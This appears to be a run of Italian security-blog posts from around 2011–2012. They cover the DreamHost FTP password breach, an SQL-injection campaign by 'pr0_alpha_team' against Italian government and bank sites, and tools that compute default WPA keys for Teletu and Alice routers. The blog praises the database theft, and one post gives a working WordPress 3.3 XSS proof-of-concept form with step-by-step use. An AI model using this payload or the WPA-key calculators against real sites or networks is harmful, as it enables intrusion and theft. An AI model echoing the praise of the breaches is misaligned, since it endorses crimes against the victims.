Capn3m0 WebSecurity

DreamHost tra i più grandi fornitori di Servizi Hosting Americani la scorsa notte ha inviato un’email a tutti i suoi Clienti invitandoli a modificare tutte le password Ftp poiché c’è la possibilità che queste siano finite in mano ad un gruppo di hackers.

L’azienda ha provveduto ad effettuare un cambio password massivo che ha richiesto un po’ più del previsto dato che attualmente DreamHost gestisce oltre 1 milione di siti web. DreamHost ha anche pregato i propri Clienti di cambiare le password delle caselle email utilizzate come riferimento su DreamHost.

A questo link è possibile vedere gli aggiornamenti effettuati in tempo record da DreamHost:

http://www.dreamhoststatus.com/2012/01/20/changing-ftpshell-passwords-due-to-security-issue/

dove si può riscontrare che l’intervento di cambio password è ormai terminato.

Questo il testo dell’email inviata ai Clienti:

 IMPORTANT INFORMATION: We are writing to let you know that there may have been illegal and unauthorized access to some of your passwords at DreamHost today. Our security systems detected the potential breach this morning and we immediately took the defensive precaution of expiring and resetting all FTP/shell access passwords for all DreamHost customers and their users. There are three different types of passwords at DreamHost: a Web panel password (for logging in to the panel), e-mail passwords, and FTP/shell access passwords. Only the FTP/shell access passwords appear to have been compromised by the illegal access. Web panel passwords, e-mail passwords, and billing information for DreamHost customers were not affected or accessed. Refer to the following DreamHost status post for details:http://www.dreamhoststatus.com/2012/01/20/changing-ftpshell-passwords-due-to-security-issue/

IMPORTANT ACTION REQUIRED:

1. To create a new FTP/shell access password for your DreamHost account, please log in to your DreamHost Web panel (https://panel.dreamhost.com/), select “Manage Users” in the top left, then select “Edit” next to each user, and type in a new password. Make sure you click “Save Changes” at the bottom of the page.

2. We are also requesting that you change your e-mail password. We are not enforcing this change at this time as we do not believe that e-mail passwords were compromised. However we strongly recommend that you change your e-mail password as a precaution. To change the passwords for your e-mail users or yourself, log in to the DreamHost panel at (https://panel.dreamhost.com/), select “Manage Email” in the top left, select “Edit” next to each e-mail user address, and choose a new password for each. Make sure you click “Save Changes” at the bottom of the page.

We sincerely apologize for any inconvenience this may cause. If you have any additional questions about this process, please contact us through the support page in the panel.

Note that DreamHost will never ask you for personal or account information in an e-mail. Please exercise caution if you receive any other e-mails that ask for personal information or direct you to a Web site where you are asked to provide personal information.

Sincerely,

The DreamHost Team

Come spiega Simon Anderson, CEO di DreamHost, in risposta ad un cliente:

our systems have stored and used encrypted passwords for a number of years, however the hacker found a legacy pool of unencrypted FTP/shell passwords in a database table that we had not previously deleted. We’ve now confirmed that there are no more legacy unencrypted passwords in our systems. And we’re investigating further measures to ensure security of passwords including when a customer requests their password by email (this was not the issue here, though). Re your shell accounts, I’d suggest that you select a new password just to be sure.

l’hacker ha avuto accesso ad una Tabella di un Database che per errore conteneva alcuni account Ftp e Shell non criptati che han poi permesso l’accesso a tutti i dati dei Clienti.

Per ora non ci sono state azioni/attacchi massivi verso gli account hackerati  e con il cambio password e la patch della vulnerabilità il problema dovrebbe essere risolto!

Una crew tutta italiana, pr0_alpha_team, nelle ultime ore ha iniziato a far parlare di se dopo aver violato i Database di molti siti istituzionali italiani. I più importanti sono:
- Italia.gov.it
- Bancamarche.it
- Ufficio Italiano Brevetti
- Università di Siena

Guardando l’archivio degli hack del pr0_alpha_team sul sito Zone-H si vede che da Novembre 2011 ad oggi hanno già operato numerosi attacchi verso siti di Comuni e similari.
Questo ultimo è degno di nota dato che, come indicato, si tratta di vittime illustri dalle quali sono state sottratte informazioni dai loro Database.

L’attacco è stato possibile grazie ad una vulnerabilità di tipo Sql Injection che ha permesso di ottenere pieno accesso ai database e di effettuarne un Dump degli stessi.

A dimostrazione di ciò i membri della crew hanno reso disponibili alcuni stralci dei Database violati:
- Dump Db Italia.gov.it
- Dump Db Bancamarche.it
- Dump Db Ufficio Italiano Brevetti
- Dump Db Università di Siena

Come fa giustamente notare Luca Mercatanti gli attacchi verso siti istituzionali o verso Banche mettono ancora una volta in evidenza l’incompetenza e la superficialità con cui viene gestita la sicurezza informatica nel nostro paese. Altra cosa allarmante è come non sia stata data alcuna notizia di questa azione. Probabilmente il sito di una banca violato non è cosa importante per i nostri giornalisti.

Leggendo la loro pagina Twitter si deduce che non si fermeranno quindi non resta che aspettare e vedere quali altri siti verrano colpiti.

Complimenti al pr0_alpha_team!

A pochi giorni dal rilascio della nuova versione di WordPress, la 3.3, due hacker indiani hanno individuato una vulnerabilità che permette di eseguire codice XSS sfruttando un problema nel form di pubblicazione dei commenti.

Praticamente per eseguire l’exploit è necessario per prima cosa pubblicare un commento sul WordPress vittima.

Una volta fatto ciò è necessario creare una pagina contente il seguente codice e pubblicarla in un proprio spazio Web.

<html>
<title>Wordpress 3.3 XSS PoC</title>
<body>
<form name="XSS" id="XSS" action="http://192.168.1.102/wordpress/wp-comments-post.php?</style><script>document.write(Date())</script><style>" method="POST">
<input type="hidden" name="author" value="replace me"/>
<input type="hidden" name="email" value="replace me"/>
<input type="hidden" name="url" value=""/>
<input type="hidden" name="comment" value="replace me"/>
<input type="hidden" name="submit" value="Post Comment"/>
<input type="hidden" name="comment_post_ID" value="replace me"/>
<input type="hidden" name="comment_parent" value="0"/>
<input type="button" value="Click Me" />
</style></form>
</body>
</html>

Al posto di “replace me” vanno inseriti gli stessi dati usati nel precedente commento e al posto di “http://192.168.1.102/wordpress/” va inserito il riferimento del sito vittima.

A questo punto basterà cliccare sul tasto “Click me” e lo script provvederà nuovamente a pubblicare il post. Trovandolo già pubblicato genererà un errore di cotenuto duplicato ma il codice Javascript inserito nel “form action” della nostra pagina verrà eseguito.

Nell’esempio il codice Javascript da eseguire era il seguente:

<script>document.write(Date())</script>

che serve a visualizzare la data di sistema e, come si vede dalla seguente immagine,viene correttamenete eseguito dimostrando la vulnerabilità XSS.

In attesa di sviluppi e di una patch credo sia utile attivare temporaneamente un captcha o similare per i commenti così da evitare o almeno diminuire la possibilità di venire attaccati.

Link di riferimento

Zero Day Reflected Cross Site Scripting vulnerability in WordPress 3.3 – The Hackers News
Sorgenti Pastebin.com

Lo scorso 27 Novembre lo Staff del noto Team WifiShark hanno rilasciato l’ultima versione, la 1.3, del tool per calcolare le chiavi Wpa per le reti Teletu.

L’utente swsooue l’ha pubblicato tramite il Forum della Community WifiShark in questo post.

In questa ultima versione del Teletu Wpa Finder sono stati aumentati i macig numbers e di conseguenza sarà possibile calcolare le chiavi Wpa di un numero maggiore di SSID.

Potete effettuare il download dal seguente link:

TeleTu Wpa Finder 1.3 DOWNLOAD

Ringraziamo la community WifiShark per la passione e la dedizione nello studio delle reti Wireless.

N.B.

Ricordo che l’accesso abusivo ad un sistema informatico o telematico è un reato perseguibile a termine di legge (art. 615-ter c.p.).

Ricordo che la detenzione e la diffusione abusiva di codici di accesso a sistemi informatici o telematici è un reato penale perseguibile secondo la legge 615.

L’utilizzo di quanto esposto è da riferirsi a un test di sicurezza sulla propria rete o su una rete di cui il proprietario abbia espressamente dato il libero consenso al fine di giudicarne la sicurezza e porre rimedio ad eventuali vulnerabilità.

Dopo il successo di ieri con la pubblicazione del Fastweb Wpa Calculator OnLine oggi provvediamo ad annunciare il rilascio della prima versione dell’Alice Wpa Calculator OnLine.

In questa prima versione sono presenti tutti i Magic Numbers aggiornati a Settembre 2011 ed è possibile calcolare la Wpa sia inserendo il solo SSID Alice (Es. Alice-12345678) sia inserendo SSID più Mac Address del Modem.

Per ora vi invitiamo a testare il nostro tool per il calcolo delle Wpa Alice direttamente online e qualora dovessero verificarsi anomalie o errori contattateci.

PROVATELO QUI

N.B.

Ricordo che l’accesso abusivo ad un sistema informatico o telematico è un reato perseguibile a termine di legge (art. 615-ter c.p.).

Ricordo che la detenzione e la diffusione abusiva di codici di accesso a sistemi informatici o telematici è un reato penale perseguibile secondo la legge 615.

L’utilizzo di quanto esposto è da riferirsi a un test di sicurezza sulla propria rete o su una rete di cui il proprietario abbia espressamente dato il libero consenso al fine di giudicarne la sicurezza e porre rimedio ad eventuali vulnerabilità.